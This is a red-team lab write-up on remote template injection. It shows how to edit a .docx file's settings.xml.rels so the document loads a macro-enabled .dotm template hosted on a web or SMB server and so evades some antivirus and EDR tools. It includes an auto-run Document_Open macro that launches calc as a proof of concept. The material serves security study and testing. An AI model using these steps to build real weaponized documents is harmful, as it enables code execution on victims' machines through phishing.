This lab shows how it is possible to add a macros payload to a docx file indirectly, which has a good chance of evading some AVs/EDRs.
This technique works in the following way:
A malicious macro is saved in a Word template .dotm file
Benign .docx file is created based on one of the default MS Word Document templates
Document from step 2 is saved as .docx
Document from step 3 is renamed to .zip
Document from step 4 gets unzipped
.\word_rels\settings.xml.rels contains a reference to the template file. That reference gets replaced with a refernce to our malicious macro created in step 1. File can be hosted on a web server (http) or webdav (smb).
File gets zipped back up again and renamed to .docx
Alt+F8 to enter Dev mode where we can edit Macros, select
ThisDocument and paste in:
Doc3.dotmSub Document_Open()Set objShell = CreateObject("Wscript.Shell")objShell.Run "calc"End Sub
Create a benign .docx file based on one of the provided templates and save it as .docx:
Rename legit.docx to legit.zip:
Unzip the archive and edit
word_rels\settings.xml.rels<?xml version="1.0" encoding="UTF-8" standalone="yes"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file:///C:\Users\mantvydas\AppData\Roaming\Microsoft\Templates\Polished%20resume,%20designed%20by%20MOO.dotx" TargetMode="External"/></Relationships>
Note it has the target template specified here:
Upload the template created previously
Doc3.dot to an SMB server (note that the file could be hosted on a web server also!).
Update word_rels\settings.xml.rels to point to Doc3.dotm:
Zip all the files of
legit archive and name it back to .docx - we now have a weaponized document: